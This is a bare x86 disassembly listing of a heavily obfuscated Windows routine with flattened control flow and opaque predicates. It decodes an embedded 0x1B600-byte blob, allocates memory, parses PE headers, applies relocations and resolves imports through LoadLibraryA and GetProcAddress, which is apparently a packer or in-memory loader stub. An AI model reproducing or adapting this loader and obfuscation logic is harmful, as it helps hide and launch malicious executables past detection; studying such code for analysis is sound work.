cmp eax, 0x65c77920
je 0x404679
cmp eax, 0x67cb8a05
jne 0x401340
mov edx, dword [0x4843e0]
mov ecx, dword [0x4843dc]
mov esi, 0x420ffea4
mov edi, 0xaf8622eb
jmp 0x401317
cmp eax, 0x984f6843
je 0x40469c
cmp eax, 0x99827ac4
jne 0x401340
mov eax, dword [ebp - 0x1b634]
mov eax, dword [eax]
mov ecx, eax
xor ecx, 0xbfffffff
and ecx, eax
mov eax, 0x6f1fde27
mov dword [ebp - 0x1b79c], ecx
jmp 0x401340
cmp eax, 0x229e74e1
je 0x4046b2
cmp eax, 0x27499d13
jne 0x401340
mov eax, dword [0x4843e0]
mov edi, 0x15eb3641
mov esi, 0xebf4ade7
lea ecx, [eax - 1]
imul ecx, eax
mov eax, 0xebf4ade7
jmp 0x404b3e
cmp eax, 0xda27888a
je 0x4046d0
cmp eax, 0xdc327beb
jne 0x401340
mov eax, 0xbdbb7483
jmp 0x401340
cmp eax, 0x5a9b53c8
je 0x4046e9
cmp eax, 0x5adc9c00
jne 0x401340
mov eax, 0x763e4ebd
jmp 0x401340
cmp eax, 0xb738eefc
je 0x4046f3
cmp eax, 0xb900a7cc
jne 0x401340
mov eax, 0xec0add49
jmp 0x401340
cmp eax, 0x3e84a4ad
je 0x404719
cmp eax, 0x3e891290
jne 0x401340
mov eax, 0x798111bd
jmp 0x401340
cmp eax, 0x23b59f
je 0x404723
cmp eax, 0xcc4dfe
jne 0x401340
mov eax, 0x453ca4cc
jmp 0x401340
cmp eax, 0x7ae8da9d
je 0x40473b
cmp eax, 0x7ba45f69
jne 0x401340
mov edx, dword [0x4843e0]
mov ecx, dword [0x4843dc]
mov esi, 0x35355e84
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x8187f123
jmp 0x404919
cmp eax, 0x8aa94c12
je 0x404762
cmp eax, 0x8b4b1d94
jne 0x401340
mov eax, 0x30d84f24
jmp 0x401340
cmp eax, 0xddfd190
je 0x40476c
cmp eax, 0xe9f8497
jne 0x401340
mov edx, dword [0x4843e0]
mov ecx, dword [0x4843dc]
mov esi, 0x6f3e061f
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x2bb461bb
jmp 0x404919
cmp eax, 0xbfa0e4de
je 0x404776
cmp eax, 0xc072c2c4
jne 0x401340
mov eax, dword [ebp - 0x1b638]
push dword [ebp - 0x1b6d8]
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x1b63c]
mov esi, 0xf80a067
mov edi, 0x300fc902
mov dword [ecx], eax
mov edx, dword [0x4843e0]
mov ecx, dword [0x4843dc]
jmp 0x401317
cmp eax, 0x48f171f4
je 0x4047d6
cmp eax, 0x49c9b166
jne 0x401340
mov eax, dword [ebp - 0x1b6c4]
mov eax, 0x7e1b11b9
jmp 0x401340
cmp eax, 0xa411cdaf
je 0x4047ea
cmp eax, 0xa4577bf4
jne 0x401340
mov eax, 0x80eaf740
jmp 0x401340
cmp eax, 0x2f8b7d11
je 0x404819
cmp eax, 0x300fc902
jne 0x401340
mov eax, 0x4bee12d6
jmp 0x401340
cmp eax, 0xe82f9dea
je 0x4048de
cmp eax, 0xe8af1e01
jne 0x401340
mov edx, dword [0x4843e0]
mov ecx, dword [0x4843dc]
mov esi, 0xb39cc31b
mov edi, 0xa79e6c76
jmp 0x401317
cmp eax, 0x6212c0ae
je 0x40492f
cmp eax, 0x627fbe82
jne 0x401340
mov eax, dword [ebp - 0x1b630]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x1b630]
inc eax
mov dword [ecx], eax
mov eax, 0x446719b6
jmp 0x401340
cmp eax, 0x94f13b79
je 0x404939
cmp eax, 0x9566694f
jne 0x401340
cmp dword [ebp - 0x1b78c], 0
mov eax, 0x5d543442
jmp 0x402fc5
cmp eax, 0x1eec41f4
je 0x40499a
cmp eax, 0x1fd838d5
jne 0x401340
mov eax, dword [ebp - 0x1b644]
mov dword [eax], 4
mov eax, 0xea41f6e0
jmp 0x401340
cmp eax, 0xd676549b
je 0x4049bf
cmp eax, 0xd77e308c
jne 0x401340
mov eax, 0xe13cad56
jmp 0x401340
cmp eax, 0x5759f6a2
je 0x404a08
cmp eax, 0x5769f9cf
jne 0x401340
mov edx, dword [0x4843e0]
mov ecx, dword [0x4843dc]
mov esi, 0x3c62e8ab
jmp 0x4045a3
cmp eax, 0xb1f80404
je 0x404a27
cmp eax, 0xb39cc31b
jne 0x401340
mov eax, 0xe8af1e01
jmp 0x401340
cmp eax, 0x3c45783d
je 0x404a7e
cmp eax, 0x3c464e72
jne 0x401340
mov eax, dword [ebp - 0x1b730]
mov dword [ebp - 0x1b6f0], eax
mov eax, dword [ebp - 0x1b624]
mov dword [ebp - 0x1b694], eax
mov eax, 0xe9f8497
jmp 0x401340
cmp eax, 0xf5dc748b
je 0x404aa4
cmp eax, 0xf657146d
jne 0x401340
mov eax, 0xce8cd05e
jmp 0x401340
cmp eax, 0x73b5e809
je 0x404aae
cmp eax, 0x763e4ebd
jne 0x401340
mov eax, dword [ebp - 0x1b640]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x1b640]
inc eax
mov dword [ecx], eax
mov eax, 0x195f7a70
jmp 0x401340
cmp eax, 0x834c05c1
je 0x404abe
cmp eax, 0x83b3a9ab
jne 0x401340
mov eax, 0xdc327beb
jmp 0x401340
cmp eax, 0x1540cd6d
je 0x404ad8
cmp eax, 0x15eb3641
jne 0x401340
mov eax, dword [ebp - 0x1b6b8]
cmp dword [ebp - 0x1b61c], 0
mov esi, 0x10b90db0
mov edi, 0xebf4ade7
mov eax, dword [eax]
setne byte [ebp - 0x1b65d]
mov dword [ebp - 0x1b6f4], eax
mov eax, dword [0x4843e0]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xebf4ade7
jmp 0x404daa
cmp eax, 0xca5dceca
je 0x404b1a
cmp eax, 0xcac15039
jne 0x401340
mov eax, 0x64aab816
jmp 0x401340
cmp eax, 0x4ff1af5c
je 0x404b24
cmp eax, 0x51724ecc
jne 0x401340
mov edx, dword [0x4843e0]
mov ecx, dword [0x4843dc]
mov esi, 0x1eb85dc
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xd80851c6
cmovne edx, esi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, esi
mov esi, dword [ebp - 0x1b654]
cmp ecx, 0xa
cmovge eax, edx
mov dword [ebp - 0x1b6d0], esi
jmp 0x401340
cmp eax, 0xac0c2ddb
je 0x404b63
cmp eax, 0xad18eec1
jne 0x401340
mov eax, 0x3aebb314
jmp 0x401340
cmp eax, 0x35517089
je 0x404b6d
cmp eax, 0x37a69cb9
jne 0x401340
mov eax, dword [ebp - 0x1b790]
mov ecx, eax
xor ecx, 0xdfffffff
test ecx, eax
mov eax, 0x467b8a6f
mov ecx, 0x23b59f
cmove eax, ecx
jmp 0x401340
cmp eax, 0xec0add49
je 0x404b88
cmp eax, 0xed828125
jne 0x401340
mov eax, dword [ebp - 0x1b66c]
mov dword [ebp - 0x1b734], eax
lea eax, [ebp - 0x1b61c]
mov dword [ebp - 0x1b738], eax
mov eax, 0x54410eea
jmp 0x401340
cmp eax, 0x6a528b16
je 0x404ba7
cmp eax, 0x6c7a3fc9
jne 0x401340
mov eax, dword [0x4843e0]
mov edi, 0x2d87cb9a
mov esi, 0x32970428
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x32970428
jmp 0x404b46
cmp eax, 0x9e4f334f
je 0x404bb7
cmp eax, 0x9f43e311
jne 0x401340
cmp dword [ebp - 0x1b750], 0
mov eax, 0x4dc94918
mov ecx, 0x9a2bfb68
cmove eax, ecx
jmp 0x401340
cmp eax, 0x2af139ed
je 0x404bd0
cmp eax, 0x2bb461bb
jne 0x401340
mov eax, dword [ebp - 0x1b694]
mov eax, dword [ebp - 0x1b694]
mov eax, dword [ebp - 0x1b694]
mov eax, dword [ebp - 0x1b694]
mov dword [ebp - 0x1b66c], 0
add eax, dword [ebp - 0x1b620]
mov dword [ebp - 0x1b64c], eax
mov eax, 0x6f3e061f
jmp 0x401340
cmp eax, 0xdee733fd
je 0x404bda
cmp eax, 0xdf5c27a8
jne 0x401340
mov edx, dword [0x4843e0]
mov ecx, dword [0x4843dc]
mov esi, 0xe232e828
mov edi, 0x518c205d
jmp 0x401317
cmp eax, 0x5e04b7a7
je 0x404c0e
cmp eax, 0x5e56fef8
jne 0x401340
mov edx, dword [0x4843e0]
mov ecx, dword [0x4843dc]
mov esi, 0xf55d3886
mov edi, 0xe82f9dea
jmp 0x401317
cmp eax, 0xbb4a455e
je 0x404c27
cmp eax, 0xbc07c268
jne 0x401340
mov eax, 0x80941516
mov dword [ebp - 0x1b62c], 7
jmp 0x401340
cmp eax, 0x3fe730e6
je 0x404c42
cmp eax, 0x40358510
jne 0x401340
mov eax, 0x8f32adab
jmp 0x401340
cmp eax, 0x489ed34
je 0x404c4c
cmp eax, 0x5a8760f
jne 0x401340
mov edx, dword [0x4843e0]
mov ecx, dword [0x4843dc]
mov esi, 0xaafd79a4
lea eax, [edx - 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x12bfc72b
jmp 0x404919
cmp eax, 0x7cd17c99
je 0x404c72
cmp eax, 0x7ceb239b
jne 0x401340
mov eax, dword [0x4843e0]
mov edi, 0x73af38f1
mov esi, 0x812457ea
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x812457ea
jmp 0x404b46
cmp eax, 0x8ea55710
je 0x404c93
cmp eax, 0x8ea59301
jne 0x401340
mov edx, dword [0x4843e0]
mov ecx, dword [0x4843dc]
mov esi, 0xa3cad88b
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xbefdda76
cmovne edx, esi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, esi
cmp ecx, 0xa
mov ecx, dword [ebp - 0x1b644]
cmovge eax, edx
jmp 0x401340
cmp eax, 0xbeab1b2
je 0x401301
cmp eax, 0xc735dfb
jne 0x401340
mov eax, 0x4d509da1
jmp 0x401340
cmp eax, 0xbebb8c03
je 0x404cae
cmp eax, 0xbefdda76
jne 0x401340
mov eax, 0xa3cad88b
jmp 0x401340
cmp eax, 0x47e30c7a
je 0x404cb8
cmp eax, 0x48351fb8
jne 0x401340
mov eax, dword [ebp - 0x1b658]
mov ecx, dword [ebp - 0x1b67c]
mov edi, 0x5a9b53c8
mov esi, 0x3f53f7ce
lea eax, [eax + eax*4]
lea eax, [ecx + eax*4 + 0xc]
mov dword [ebp - 0x1b76c], eax
mov eax, dword [0x4843e0]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x3f53f7ce
sete cl
cmove eax, edi
cmp dword [0x4843dc], 0xa
setl dl
cmovge eax, esi
xor dl, cl
mov edx, dword [ebp - 0x1b624]
cmovne eax, edi
mov dword [ebp - 0x1b768], edx
jmp 0x401340
cmp eax, 0xa323a0ea
je 0x404cde
cmp eax, 0xa3cad88b
jne 0x401340
mov eax, dword [0x4843e0]
mov edi, 0x5adc9c00
mov esi, 0xbefdda76
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xbefdda76
jmp 0x404b46
cmp eax, 0x2d87cb9a
je 0x404d04
cmp eax, 0x2e037ac1
jne 0x401340
mov eax, dword [ebp - 0x1b65c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x1b6a0]
vmovsd xmm0, qword [eax]
vmovsd qword [ecx], xmm0
mov eax, dword [ebp - 0x1b68c]
mov ecx, dword [ebp - 0x1b65c]
mov ecx, dword [ecx]
mov dword [ecx + 4], eax
push dword [ebp - 0x1b68c]
vzeroupper
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
mov dword [ebp - 0x1b7a8], eax
mov eax, 0x8475d6e1
jmp 0x401340
cmp eax, 0xe3560916
je 0x404d54
cmp eax, 0xe6f6d40b
jne 0x401340
mov eax, dword [ebp - 0x1b628]
movzx eax, word [eax + 6]
mov ecx, dword [ebp - 0x1b710]
cmp ecx, eax
mov eax, 0xddedd303
setl byte [ebp - 0x1b65e]
jmp 0x401340
cmp eax, 0x60b79893
je 0x404d68
cmp eax, 0x60d89541
jne 0x401340
mov edx, dword [0x4843e0]
mov ecx, dword [0x4843dc]
mov esi, 0x3e891290
mov dword [ebp - 0x1b62c], 0
lea eax, [edx - 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x3d4fbb14
cmovne edx, esi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, esi
cmp ecx, 0xa
cmovge eax, edx
jmp 0x401340
cmp eax, 0x938d6d85
je 0x404d7c
cmp eax, 0x947e0307
jne 0x401340
mov eax, dword [ebp - 0x1b624]
mov dword [ebp - 0x1b6c0], eax
mov eax, dword [ebp - 0x1b628]
mov dword [ebp - 0x1b6c4], eax
mov eax, 0x489ed34
jmp 0x401340
cmp eax, 0x1b379124
je 0x404dc7
cmp eax, 0x1d989c7a
jne 0x401340
mov eax, 0xe2b41d2e
jmp 0x401340
cmp eax, 0xd352ff5f
je 0x404dfa
cmp eax, 0xd366dc64
jne 0x401340
mov eax, 0x30ccaab8
jmp 0x401340
cmp eax, 0x5487ffb0
je 0x404e0e
cmp eax, 0x55824953
jne 0x401340
mov eax, dword [ebp - 0x1b6a0]
mov ecx, dword [ebp - 0x1b7ac]
vmovsd xmm0, qword [eax]
mov eax, 0x7ae8da9d
vmovsd qword [ecx], xmm0
jmp 0x401340
cmp eax, 0xb176684e
je 0x404e26
cmp eax, 0xb1f2855f
jne 0x401340
mov ecx, dword [ebp - 0x1b64c]
mov eax, dword [ebp - 0x1b66c]
add eax, dword [ecx + 4]
mov dword [ebp - 0x1b66c], eax
mov eax, 0xc93ed09d
jmp 0x401340
mov eax, 0xbebb8c03
jmp 0x401340
mov eax, dword [0x4843e0]
mov edi, 0x80eaf740
mov esi, 0xa4577bf4
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xa4577bf4
jmp 0x404b46
mov eax, dword [ebp - 0x1b638]
push dword [ebp - 0x1b6d4]
vzeroupper
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [ebp - 0x1b638]
mov esi, 0xe9becc5b
mov edi, 0xbaf47af3
mov dword [ecx], eax
mov edx, dword [0x4843e0]
mov ecx, dword [0x4843dc]
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
cmovne esi, edi
test edx, eax
mov edx, dword [ebp - 0x1b638]
mov eax, esi
cmove eax, edi
cmp ecx, 0xa
cmovge eax, esi
cmp dword [edx], 0
setne byte [ebp - 0x1b662]
jmp 0x401340
mov eax, dword [ebp - 0x1b670]
mov dword [ebp - 0x1b710], eax
mov eax, 0xe6f6d40b
jmp 0x401340
mov eax, dword [ebp - 0x1b694]
mov edi, 0x37e7c1f7
mov esi, 0x2bb461bb
mov dword [ebp - 0x1b66c], 0
add eax, dword [ebp - 0x1b620]
mov dword [ebp - 0x1b64c], eax
mov eax, dword [0x4843e0]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x2bb461bb
sete cl
cmove eax, edi
cmp dword [0x4843dc], 0xa
setl dl
cmovge eax, esi
xor dl, cl
cmovne eax, edi
jmp 0x401340
mov eax, 0x798111bd
jmp 0x401340
mov eax, 0x7ceb239b
jmp 0x401340
mov eax, dword [ebp - 0x1b6bc]
mov eax, 0x35355e84
jmp 0x401340
mov eax, 0x5a8760f
jmp 0x401340
mov eax, 0xc44d07aa
jmp 0x401340
mov ecx, dword [ebp - 0x1b64c]
mov eax, dword [ebp - 0x1b66c]
mov esi, 0x63c8604b
mov edi, 0xb1f2855f
add eax, dword [ecx + 4]
mov dword [ebp - 0x1b66c], eax
mov eax, dword [0x4843e0]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xb1f2855f
jmp 0x404daa
mov eax, dword [0x4843e0]
mov edi, 0x981b50e8
mov esi, 0xc9a8bc79
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xc9a8bc79
jmp 0x404b46
push eax
mov eax, esp
mov dword [ebp - 0x1b674], eax
sub esp, 8
mov eax, esp
mov dword [ebp - 0x1b6a0], eax
push eax
mov eax, esp
mov dword [ebp - 0x1b690], eax
push 0x1b600
push 0x45c218
lea eax, [ebp - 0x1b610]
push eax
vzeroupper
call fcn.004400d0
add esp, 0xc
mov eax, 0x63e0e5ad
nop
cmp eax, 0x602eee64
je 0x404e30
cmp eax, 0x63e0e5ad
jne 0x403710
lea eax, [ebp - 0x1b610]
mov dword [ebp - 0x1b614], 0x1b600
mov dword [ebp - 0x1b618], eax
xor ecx, ecx
xor edi, edi
mov ecx, dword [ebp - 0x1b614]
mov edi, dword [ebp - 0x1b618]
not byte [edi]
add byte [edi], 0x43
mov eax, 0xff
sub byte [edi], 0x56
imul byte [edi]
inc edi
loop 0x403748
mov eax, 0x602eee64
jmp 0x403710
mov eax, dword [ebp - 0x1b6f0]
mov dword [ebp - 0x1b754], eax
mov eax, 0x286ea49c
jmp 0x401340
mov edx, dword [0x4843e0]
mov ecx, dword [0x4843dc]
mov esi, 0xce8cd05e
lea eax, [edx - 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xf657146d
jmp 0x403d15
mov eax, 0x53933b25
jmp 0x401340
mov eax, 0x938d6d85
jmp 0x401340
mov eax, 0xb4f06b1b
jmp 0x401340
mov eax, dword [ebp - 0x1b650]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x1b630]
mov ecx, dword [ecx]
mov eax, dword [eax + ecx*4]
add eax, dword [ebp - 0x1b624]
mov ecx, dword [ebp - 0x1b680]
mov dword [ecx], eax
mov eax, dword [ebp - 0x1b63c]
mov eax, dword [ebp - 0x1b650]
mov eax, dword [ebp - 0x1b630]
mov eax, 0xbfa0e4de
jmp 0x401340
mov eax, dword [0x4843e0]
mov edi, 0x933ee6f9
mov esi, 0x6a089e20
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x6a089e20
jmp 0x404b46
mov eax, dword [0x4843e0]
mov edi, 0x113fb2b7
mov esi, 0xe9592941
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0xe9592941
jmp 0x404b3e
mov eax, dword [ebp - 0x1b754]
add eax, dword [ebp - 0x1b758]
mov ecx, dword [ebp - 0x1b6cc]
mov dword [ecx], eax
mov eax, 0x9a2bfb68
jmp 0x401340
mov eax, dword [0x4843e0]
mov esi, 0x51724ecc
mov edi, 0xd80851c6
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0xd80851c6
jmp 0x404da2
mov ecx, dword [ebp - 0x1b628]
mov dword [ebp - 0x1b670], 0
movzx eax, word [ecx + 0x14]
lea eax, [ecx + eax + 0x18]
mov dword [ebp - 0x1b678], eax
mov eax, 0x94f13b79
jmp 0x401340
mov eax, 0x5769f9cf
jmp 0x401340
mov eax, dword [ebp - 0x1b654]
movzx eax, word [eax]
and eax, 0xfff
add eax, dword [ebp - 0x1b6ec]
mov dword [ebp - 0x1b6cc], eax
mov eax, dword [ebp - 0x1b6cc]
mov eax, dword [eax]
mov dword [ebp - 0x1b758], eax
mov eax, 0x69d02765
jmp 0x401340
mov edx, dword [0x4843e0]
mov ecx, dword [0x4843dc]
mov esi, 0x77bf4adc
mov edi, 0xad18eec1
jmp 0x401317
mov eax, 0x8ea55710
jmp 0x401340
mov eax, dword [0x4843e0]
mov esi, 0x60d89541
mov edi, 0x3d4fbb14
lea ecx, [eax - 1]
imul ecx, eax
mov eax, 0x3d4fbb14
jmp 0x404da2
mov edx, dword [0x4843e0]
mov ecx, dword [0x4843dc]
mov esi, 0x6a528b16
mov edi, 0x7873ee82
jmp 0x401317
mov edx, dword [0x4843e0]
mov ecx, dword [0x4843dc]
mov esi, 0xebce9116
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x6a089e20
jmp 0x404919
mov eax, 0x8c49de93
jmp 0x401340
mov eax, 0x48351fb8
jmp 0x401340
mov edx, dword [0x4843e0]
mov ecx, dword [0x4843dc]
mov esi, 0xf36530ef
lea eax, [edx - 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xe9becc5b
jmp 0x404919
mov eax, dword [0x4843e0]
mov esi, 0x32ed0bce
mov edi, 0x2a2f3f8d
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x2a2f3f8d
jmp 0x404da2
mov eax, 0x8fd2aa1b
jmp 0x401340
mov edx, dword [0x4843e0]
mov ecx, dword [0x4843dc]
mov esi, 0x1d989c7a
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x3fdc90b5
jmp 0x404919
mov eax, dword [ebp - 0x1b624]
mov dword [ebp - 0x1b70c], eax
mov eax, 0x206e4651
jmp 0x401340
cmp dword [ebp - 0x1b798], 0
mov eax, 0x1fd838d5
mov ecx, 0x99827ac4
cmove eax, ecx
jmp 0x401340
mov eax, 0x947e0307
jmp 0x401340
mov eax, dword [ebp - 0x1b624]
mov dword [ebp - 0x1b700], eax
mov eax, 0xe9caebac
jmp 0x401340
mov eax, dword [ebp - 0x1b638]
push dword [ebp - 0x1b6d8]
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x1b63c]
mov dword [ecx], eax
mov eax, 0xc072c2c4
jmp 0x401340
mov eax, dword [ebp - 0x1b690]
mov eax, dword [ebp - 0x1b624]
mov dword [ebp - 0x1b6a4], eax
mov eax, dword [ebp - 0x1b628]
mov dword [ebp - 0x1b6dc], eax
mov eax, 0x128d08ef
jmp 0x401340
mov eax, 0x5487ffb0
jmp 0x401340
push 4
push 0x3000
push dword [ebp - 0x1b6f4]
push dword [ebp - 0x1b6b4]
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
cmp dword [ebp - 0x1b61c], 0
mov dword [ebp - 0x1b624], eax
mov eax, 0x7bb81b5c
mov ecx, 0xec6b9fc
cmove eax, ecx
jmp 0x401340
mov edx, dword [0x4843e0]
mov ecx, dword [0x4843dc]
mov esi, 0x420ffea4
mov edi, 0x67cb8a05
jmp 0x401317
mov eax, 0x399e9910
jmp 0x401340
cmp byte [ebp - 0x1b65f], 0
mov eax, 0xd1bfc3ce
mov ecx, 0xa71fdade
cmovne eax, ecx
jmp 0x401340
mov eax, dword [ebp - 0x1b640]
mov eax, dword [eax]
mov dword [ebp - 0x1b784], eax
mov eax, dword [ebp - 0x1b628]
add eax, 6
mov dword [ebp - 0x1b788], eax
mov eax, 0xf927a4fd
jmp 0x401340
movzx eax, word [ebp - 0x1b6aa]
shr eax, 0xc
mov ecx, eax
xor ecx, 0xc
and ecx, eax
mov eax, 0x9f43e311
mov dword [ebp - 0x1b750], ecx
jmp 0x401340
mov eax, 0x69325210
jmp 0x401340
mov edx, dword [0x4843e0]
mov ecx, dword [0x4843dc]
mov esi, 0x2af139ed
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xda27888a
cmovne edx, esi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, esi
mov esi, dword [ebp - 0x1b6d0]
cmp ecx, 0xa
cmovge eax, edx
add esi, 2
mov dword [ebp - 0x1b654], esi
jmp 0x401340
mov eax, 0x6f3951bd
jmp 0x401340
mov eax, dword [ebp - 0x1b644]
mov eax, dword [eax]
mov dword [ebp - 0x1b6e4], eax
mov eax, dword [ebp - 0x1b640]
mov ecx, dword [ebp - 0x1b678]
mov eax, dword [eax]
lea eax, [eax + eax*4]
mov eax, dword [ecx + eax*8 + 8]
mov dword [ebp - 0x1b6e0], eax
mov eax, dword [ebp - 0x1b640]
mov eax, dword [eax]
lea eax, [eax + eax*4]
mov edx, dword [ecx + eax*8 + 0xc]
mov esi, dword [ebp - 0x1b6a8]
mov edi, dword [0x4843e8]
add edx, dword [ebp - 0x1b624]
lea eax, [edi + 1]
imul eax, edi
mov edi, 0x5fc01852
test al, 1
sete bl
cmp dword [0x4843e4], 0xa
setge bh
setl cl
or bh, al
xor cl, bl
mov eax, 0xc7f14754
not bh
or bh, cl
mov ecx, 0x8eff60c
test bh, 1
mov ebx, 0xc7f14754
cmovne ebx, edi
cmovne eax, ecx
mov edi, 0xc288f81b
nop word cs:[eax + eax]
cmp edi, 0xc7f14753
jle 0x403cc0
cmp edi, 0xc7f14754
je 0x403cd8
cmp edi, 0x8eff60c
je 0x403cdf
cmp edi, 0x5fc01852
jne 0x403c90
mov edi, eax
jmp 0x403c90
cmp edi, 0x868a2b6d
je 0x404e5e
cmp edi, 0xc288f81b
jne 0x403c90
mov edi, ebx
jmp 0x403c90
mov edi, 0x5fc01852
jmp 0x403c90
mov edi, 0x868a2b6d
jmp 0x403c90
mov edx, dword [0x4843e0]
mov ecx, dword [0x4843dc]
mov esi, 0xbfa0e4de
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xeaf3b9d8
cmovne edx, esi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, esi
cmp ecx, 0xa
mov ecx, dword [ebp - 0x1b680]
cmovge eax, edx
jmp 0x401340
mov edx, dword [0x4843e0]
mov ecx, dword [0x4843dc]
mov esi, 0x14ec6978
lea eax, [edx - 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xc9a8bc79
cmovne edx, esi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, esi
mov esi, dword [ebp - 0x1b670]
cmp ecx, 0xa
cmovge eax, edx
mov dword [ebp - 0x1b72c], esi
jmp 0x401340
push 0x400
lea eax, [ebp - 0x1b610]
push eax
push dword [ebp - 0x1b70c]
vzeroupper
call fcn.004400d0
add esp, 0xc
mov eax, 0xa2aa99c8
jmp 0x401340
mov eax, 0xcd76f7ac
jmp 0x401340
mov eax, 0x51724ecc
jmp 0x401340
mov edx, dword [0x4843e0]
mov ecx, dword [0x4843dc]
mov esi, 0x226d9c4e
mov edi, 0xcd76f7ac
jmp 0x401317
mov eax, 0xb962bbf0
jmp 0x401340
mov eax, 0x57fc8227
jmp 0x401340
mov eax, dword [ebp - 0x1b6c8]
mov ecx, dword [ebp - 0x1b6c0]
mov edi, 0xa6d5a830
mov esi, 0xf2271146
cmp ecx, dword [eax]
mov eax, dword [0x4843e0]
lea ecx, [eax + 1]
setne byte [ebp - 0x1b65f]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xf2271146
jmp 0x404b46
mov edx, dword [0x4843e0]
mov ecx, dword [0x4843dc]
mov esi, 0xbc4180ce
lea eax, [edx - 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x330eaa13
jmp 0x404919
mov eax, 0xf5dc748b
jmp 0x401340
mov dword [ebp - 0x1b658], 0
mov eax, 0xbdbb7483
jmp 0x401340
mov eax, dword [ebp - 0x1b788]
mov edx, 0xb1f80404
movzx eax, word [eax]
mov ecx, dword [ebp - 0x1b784]
cmp ecx, eax
mov eax, 0x834c05c1
cmovl eax, edx
jmp 0x401340
mov eax, 0x3c45783d
jmp 0x401340
mov eax, 0xdd549eaa
jmp 0x401340
mov edx, dword [0x4843e0]
mov ecx, dword [0x4843dc]
mov esi, 0x6a528b16
mov edi, 0x60502403
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
cmovne esi, edi
test edx, eax
mov edx, dword [ebp - 0x1b634]
mov eax, esi
cmove eax, edi
cmp ecx, 0xa
cmovge eax, esi
cmp dword [edx], 0
sets byte [ebp - 0x1b663]
jmp 0x401340
mov eax, dword [ebp - 0x1b7a8]
mov ecx, dword [ebp - 0x1b65c]
mov ecx, dword [ecx]
